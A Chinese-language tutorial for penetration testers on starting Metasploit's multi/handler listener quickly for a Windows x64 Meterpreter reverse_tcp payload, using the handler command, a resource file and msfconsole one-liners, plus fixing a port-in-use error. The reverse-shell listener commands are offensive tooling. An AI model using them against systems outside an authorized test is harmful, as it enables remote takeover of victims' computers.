我们在做安全测试时经常会用到Metasploit的exploit/multi/handler监听模块,每次都需要先用use命令进入到handler模块,然后输入payload、lhost、lport等参数,个人比较闲麻烦,所以找了两种快速执行监听的方法。也可以用setg和unsetg命令将常用参数设置为全局变量,如:setg lhost 192.168.1.120、setg lport 443等,这样我们就可以不用在不同模块中重复设置这些相同的参数了。
0x01 handler命令快速执行监听
handler命令参数:
msf5 > handler -hUsage: handler [options]Spin up a Payload Handler as background job.OPTIONS:-H <opt> The RHOST/LHOST to configure the handler for //本地/远程IP地址-P <opt> The RPORT/LPORT to configure the handler for //本地/远程监听端口-e <opt> An Encoder to use for Payload Stage Encoding //设置有效载荷编码-h Help Banner //帮助-n <opt> The custom name to give the handler job //设置Job作业名称-p <opt> The payload to configure the handler for //设置监听有效载荷-x Shut the Handler down after a session is established //建立会话后终止Jobmsf5 > handler -H 192.168.1.120 -P 443 -p windows/x64/meterpreter/reverse_tcp -x

图1-1-26 handler命令执行监听
0x02 r、x或resource快速执行监听
我们先创建一个64TCP.rc文件,内容如下,然后用msfconsole -q -r命令执行64TCP.rc实现快速监听。
use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.1.120set lport 443exploit
msfconsole命令参数:
root@kali:~# msfconsole -h[...SNIP...]-q, --quiet Do not print the banner on startup //启动时不打印Banner-r, --resource FILE Execute the specified resource file //执行指定的资源文件-x, --execute-command COMMAND //执行指定的控制台命令[...SNIP...]root@kali:~# msfconsole -q -r 64TCP.rcroot@kali:~# msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set lhost 192.168.1.120;set lport 443;exploit"

图1-1-27 msfconsole执行监听
0x03 Metasploit监听端口占用报错
监听时如果出现“The address is already in use or unavailable: (0.0.0.0:443).”报错则说明本地443监听端口已经被占用了,这时可以用kill命令结束当前443监听端口的对应进程即可。出现这种监听报错的常见情况,1、监听端口被其他程序所占用,2、多个命令终端同时监听一个端口,3、使用了exploit -j参数,可用-k或-K参数结束掉Job!!!如图1-1-28、1-1-29、1-1-30。
msf exploit(multi/handler) > exploit[-] Handler failed to bind to 192.168.1.120:443:- -[-] Handler failed to bind to 0.0.0.0:443:- -[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:443).[*] Exploit completed, but no session was created.

图1-1-28 MSF监听端口被占用
图1-1-29 结束占用端口的程序
图1-1-30 成功监听并获取会话

